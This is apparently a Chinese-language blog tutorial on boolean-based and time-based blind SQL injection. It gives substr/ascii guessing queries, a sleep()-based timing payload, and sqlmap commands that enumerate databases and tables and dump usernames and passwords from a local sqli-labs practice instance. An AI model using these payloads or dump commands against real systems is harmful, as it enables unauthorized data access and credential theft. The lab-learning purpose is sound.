在上一博客 其实就已经讲到了  sql    

但是上一节 主要是有回显  页面中 会有很多 提示的信息  但是在实战中  这些东西 其实都不怎么存在的  这里  其实又分了 两种情况 

第一种 是基于 布尔  第二种 就是  基于时间的  盲注 

这两种   其实 都比较  简单     先说  基于 布尔的吧 

基于布尔的盲注 :

   其实这个很好理解  页面只会返回 0或1  我们可以 根据 页面是否 404  就可以判断  是否正确 

然后我们可以利用的函数 有   mid(striing,start,length)      substr(string,start,length)    left(string,length)  

然后 我们可以  正确性  来验证  库的长度 

基于布尔 基于时间的sql盲注

 然后可以用 二分法 来 猜测  库的名字   表的名字  字段的名字  

然后可以 找到 最后的 用户名 还有密码   基本上可以用 

select length(database())

select substr (database())

select ascii(substr(database(),1,1))

select ascii(substr(database(),1,1))>N

select ascii(substr(database(),1,1))<N

select ascii(substr(database(),1,1))=N

如果要是 查找第二位 就是 第二位换成 2即可 

基于时间的盲注 则是  页面 0 1 也不会返回  

这个就是比较尴尬的一点 我们也不知道 我们是否注入成功了  那么 就可以  用一个函数 

sleep    用if 来判断 

例如 

if(ascii(substr(database(),1,1))=N,1,sleep(3)) 

这个语句的意思就是 当数据库名 第一个字母的ascii码 等于115  执行一次 sleep 函数 等待三秒  

这个  这个就和 布尔型注入差不多  人家是    看页面返回   0 或 1  来判断是否注入成功 

而  基于时间的盲注 就是 根据  等待的时间   来判断 

然后    就是靠二分法 一步一步的来猜  或者 用mysql  直接跑  这个也是可以的 

 虽然 可能跑的会非常慢 

这里是查询数据库 名字  

py -2  sqlmap.py -u "http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-9/?id=1" --technique T --dbs  --batch

基于布尔 基于时间的sql盲注

查询表项  

py -2  sqlmap.py -u "http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-9/?id=1" -D security --tables --batch

基于布尔 基于时间的sql盲注

然后这里是 查询字段 

py -2  sqlmap.py -u "http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-9/?id=1" -D security -T users --columns  --batch


基于布尔 基于时间的sql盲注

 

然后就是   查询 

py -2  sqlmap.py -u "http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-9/?id=1" -D security -T users -C username,password --dump  --batch

基于布尔 基于时间的sql盲注

相关文章: